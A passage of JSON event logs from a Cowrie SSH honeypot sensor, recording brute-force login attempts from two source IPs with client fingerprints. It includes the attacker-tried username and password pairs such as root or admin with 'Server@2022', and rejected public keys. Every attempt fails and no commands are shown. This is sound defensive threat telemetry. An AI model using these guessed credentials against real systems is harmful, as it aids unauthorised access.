742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:36.077218Z","src_ip":"103.114.153.158","session":"f9903c2637b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2021","message":"login attempt [user/Server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:36.887512Z","src_ip":"103.114.153.158","session":"f9903c2637b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:37.368126Z","src_ip":"103.114.153.158","session":"f9903c2637b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":60840,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f83cc474eb3","protocol":"ssh","message":"New connection: 103.114.153.158:60840 (10.17.0.5:22) [session: 8f83cc474eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:37.586828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:37.590845Z","src_ip":"103.114.153.158","session":"8f83cc474eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:37.796633Z","src_ip":"103.114.153.158","session":"8f83cc474eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2021","message":"login attempt [user2/Server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:38.649365Z","src_ip":"103.114.153.158","session":"8f83cc474eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:39.129999Z","src_ip":"103.114.153.158","session":"8f83cc474eb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":60852,"dst_ip":"10.17.0.5","dst_port":22,"session":"f052cb9ab7d2","protocol":"ssh","message":"New connection: 103.114.153.158:60852 (10.17.0.5:22) [session: f052cb9ab7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:39.331384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:39.335888Z","src_ip":"103.114.153.158","session":"f052cb9ab7d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:39.529328Z","src_ip":"103.114.153.158","session":"f052cb9ab7d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2022","message":"login attempt [root/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:40.339401Z","src_ip":"103.114.153.158","session":"f052cb9ab7d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:40.819402Z","src_ip":"103.114.153.158","session":"f052cb9ab7d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":43524,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce3463c3f89a","protocol":"ssh","message":"New connection: 103.114.153.158:43524 (10.17.0.5:22) [session: ce3463c3f89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:41.022073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:41.027334Z","src_ip":"103.114.153.158","session":"ce3463c3f89a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:41.241943Z","src_ip":"103.114.153.158","session":"ce3463c3f89a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2022","message":"login attempt [admin/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:42.066792Z","src_ip":"103.114.153.158","session":"ce3463c3f89a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:42.547463Z","src_ip":"103.114.153.158","session":"ce3463c3f89a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":43528,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5f371305c07","protocol":"ssh","message":"New connection: 103.114.153.158:43528 (10.17.0.5:22) [session: d5f371305c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:42.738644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:42.744339Z","src_ip":"103.114.153.158","session":"d5f371305c07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:42.936447Z","src_ip":"103.114.153.158","session":"d5f371305c07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2022","message":"login attempt [user/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:43.737641Z","src_ip":"103.114.153.158","session":"d5f371305c07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:44.217439Z","src_ip":"103.114.153.158","session":"d5f371305c07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":43536,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1004c463f41","protocol":"ssh","message":"New connection: 103.114.153.158:43536 (10.17.0.5:22) [session: f1004c463f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:44.404036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:44.409858Z","src_ip":"103.114.153.158","session":"f1004c463f41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:44.597775Z","src_ip":"103.114.153.158","session":"f1004c463f41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.38.96.216","src_port":51846,"dst_ip":"10.17.0.5","dst_port":22,"session":"b71764232cf6","protocol":"ssh","message":"New connection: 89.38.96.216:51846 (10.17.0.5:22) [session: b71764232cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:45.089626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:45.097974Z","src_ip":"89.38.96.216","session":"b71764232cf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:45.182840Z","src_ip":"89.38.96.216","session":"b71764232cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2022","message":"login attempt [user2/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:45.359801Z","src_ip":"103.114.153.158","session":"f1004c463f41","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:9b:a5:63:b3:3c:8f:a0:63:54:4b:6d:95:f7:c7:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuCbiNMXL2zLiHq3EtSu12KypwArW/NUN2+KxOmqQYwpOpedGQck9bnISYltXhTzZxXmb7wilKGWyPqlPf8GEBRIxk1ziPqYGWYe1yvtCeFJGKA6cALmEzXpVHYVJgl+qBAmvFlDrktzdwvuZYWQjPy2WuTsnnsZMYZKtCb+iGIMd5sSUeNlBfE4rYF489lMxseV6Wqcy42TaO96ZfMRYG3+4MqARtm7Z09sKorDwSV1uA7R41sYuuLpUmGTo2Ij54JjliD3B2kJlFWqGsmileiyJkbZxagtsbTWlNx/yyNrUd+VhWrLRt5y44govadom+q5qFSqoLKy7Phn/YHt68MjkZ7JLBzo15V7thmGm5QAiQbP8XPAgD35x+Va+YDMItqUg5hoqIUeHScDLRVmVxkwZWsOJQ+yHGU1yRyQ9oTfZG8Zi9qSWhgh0aT7hcp+p0awUaNMEMd7IDed0kvRW2jd+6DumjEEJVC72EJSy83ZDYoCu6novwk1dYYW/UPB8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:9b:a5:63:b3:3c:8f:a0:63:54:4b:6d:95:f7:c7:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:45.579968Z","src_ip":"89.38.96.216","session":"b71764232cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:9b:a5:63:b3:3c:8f:a0:63:54:4b:6d:95:f7:c7:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuCbiNMXL2zLiHq3EtSu12KypwArW/NUN2+KxOmqQYwpOpedGQck9bnISYltXhTzZxXmb7wilKGWyPqlPf8GEBRIxk1ziPqYGWYe1yvtCeFJGKA6cALmEzXpVHYVJgl+qBAmvFlDrktzdwvuZYWQjPy2WuTsnnsZMYZKtCb+iGIMd5sSUeNlBfE4rYF489lMxseV6Wqcy42TaO96ZfMRYG3+4MqARtm7Z09sKorDwSV1uA7R41sYuuLpUmGTo2Ij54JjliD3B2kJlFWqGsmileiyJkbZxagtsbTWlNx/yyNrUd+VhWrLRt5y44govadom+q5qFSqoLKy7Phn/YHt68MjkZ7JLBzo15V7thmGm5QAiQbP8XPAgD35x+Va+YDMItqUg5hoqIUeHScDLRVmVxkwZWsOJQ+yHGU1yRyQ9oTfZG8Zi9qSWhgh0aT7hcp+p0awUaNMEMd7IDed0kvRW2jd+6DumjEEJVC72EJSy83ZDYoCu6novwk1dYYW/UPB8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:45.584462Z","src_ip":"89.38.96.216","session":"b71764232cf6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:06:9a:32:d0:17:8a:21:b5:72:ef:0c:ba:25:44:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDyCcSE2vwwCacrUho/+o+CVAPzezXhnGv2vPMxRuOuqtsJmB6wM4hp2GLha3sC0usrUXYgt6cB6JDvRUPfigyTFC2QhGy4KqqrVVIkbtx6Vok94AXM9hLQKyePsuXPIGEnvyVOEbmHAwKAEMejGEk5u8RAnG0LRx/9WErVui022SQHvxPukWYJW+T1qTWSEa010HXJZs2hqnGTzddOWOxnfFedWnbdeU0feaaXxu5EsPnf9g9lvB7IUKnFjTa4DnJvJ9vJLqf/bra7Oq78qcocGOcH8wHmRqvHKC3k5LYJfCVl/KtxKjhV+xUx2vVv+TnPzjNpbRwjAe8oj+22up9//6MODE5b3aC7N4KXZTQ+v/1qPhNEMA+L+d4cwzXeh7iyQhjfY2GDr0CthdEvPqdHIsTCa7GLB+7qw31fH++FuxSAj6ETM8p567qsmy/Ow67ECDwikKbYATZZ1drVuWCzQrNU+79dBQ+/2k1qe7/g4eaNXCcLhIV3a5Wu2/Tvr5U=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:06:9a:32:d0:17:8a:21:b5:72:ef:0c:ba:25:44:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:45.669713Z","src_ip":"89.38.96.216","session":"b71764232cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:06:9a:32:d0:17:8a:21:b5:72:ef:0c:ba:25:44:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDyCcSE2vwwCacrUho/+o+CVAPzezXhnGv2vPMxRuOuqtsJmB6wM4hp2GLha3sC0usrUXYgt6cB6JDvRUPfigyTFC2QhGy4KqqrVVIkbtx6Vok94AXM9hLQKyePsuXPIGEnvyVOEbmHAwKAEMejGEk5u8RAnG0LRx/9WErVui022SQHvxPukWYJW+T1qTWSEa010HXJZs2hqnGTzddOWOxnfFedWnbdeU0feaaXxu5EsPnf9g9lvB7IUKnFjTa4DnJvJ9vJLqf/bra7Oq78qcocGOcH8wHmRqvHKC3k5LYJfCVl/KtxKjhV+xUx2vVv+TnPzjNpbRwjAe8oj+22up9//6MODE5b3aC7N4KXZTQ+v/1qPhNEMA+L+d4cwzXeh7iyQhjfY2GDr0CthdEvPqdHIsTCa7GLB+7qw31fH++FuxSAj6ETM8p567qsmy/Ow67ECDwikKbYATZZ1drVuWCzQrNU+79dBQ+/2k1qe7/g4eaNXCcLhIV3a5Wu2/Tvr5U=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:45.673746Z","src_ip":"89.38.96.216","session":"b71764232cf6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:19:e2:4c:60:44:71:e0:82:e9:87:e9:e7:81:12:c0","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPgrAUvDAw0AYMaEz0NPxYTAYd1nY0f/OehM+SQT46zRAQLmx0KRTaeWjSoO/h4EOqz+zbTwvWFPdCX0t58ZnwZQf1NtSAuIAcWusPeqhFRwMhLMhrptqctSSRxLz3/DWKtua2wvlL101KX/W/YdzgiTGxAbTvAfzVImxXKPc8XLAAAAFQDHJowHgojAFwCKmUGocE6t2aM+RQAAAIEAsjZp6bqtr8Mxna516I7Bx/twIbaxLJxXVJjrS9FfE+HHZaYBfGHqXim2N62L51M+eOP41Dboc80hd2xgk//48hXJ+3yyBaqCcJaanqSkfeR0UxUH3+SW2o3H7zH3saAd22+QLnT4Deg1ht7OllQD2uDjbESxdIyh8tDpyHfBrE4AAACAYy7shfIEixKeLimz7NBXwQdVsbwV+fwVUlA0TOGSN8H63+eq4fC7MlW3UaPCOHGFopnPk0PZi/rz4UHyaS8DN3uJDk4FflMa5gODbO0AlIgK8sPmziQTLrkr/iGk8Mf4vMIZ/u+XziSuLTqjhnvHLQolbg8jHjEPEOrsO1WuNhw=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 53:19:e2:4c:60:44:71:e0:82:e9:87:e9:e7:81:12:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:45.763865Z","src_ip":"89.38.96.216","session":"b71764232cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:19:e2:4c:60:44:71:e0:82:e9:87:e9:e7:81:12:c0","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPgrAUvDAw0AYMaEz0NPxYTAYd1nY0f/OehM+SQT46zRAQLmx0KRTaeWjSoO/h4EOqz+zbTwvWFPdCX0t58ZnwZQf1NtSAuIAcWusPeqhFRwMhLMhrptqctSSRxLz3/DWKtua2wvlL101KX/W/YdzgiTGxAbTvAfzVImxXKPc8XLAAAAFQDHJowHgojAFwCKmUGocE6t2aM+RQAAAIEAsjZp6bqtr8Mxna516I7Bx/twIbaxLJxXVJjrS9FfE+HHZaYBfGHqXim2N62L51M+eOP41Dboc80hd2xgk//48hXJ+3yyBaqCcJaanqSkfeR0UxUH3+SW2o3H7zH3saAd22+QLnT4Deg1ht7OllQD2uDjbESxdIyh8tDpyHfBrE4AAACAYy7shfIEixKeLimz7NBXwQdVsbwV+fwVUlA0TOGSN8H63+eq4fC7MlW3UaPCOHGFopnPk0PZi/rz4UHyaS8DN3uJDk4FflMa5gODbO0AlIgK8sPmziQTLrkr/iGk8Mf4vMIZ/u+XziSuLTqjhnvHLQolbg8jHjEPEOrsO1WuNhw=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:45.767959Z","src_ip":"89.38.96.216","session":"b71764232cf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:45.841792Z","src_ip":"103.114.153.158","session":"f1004c463f41","protocol":"ssh"}
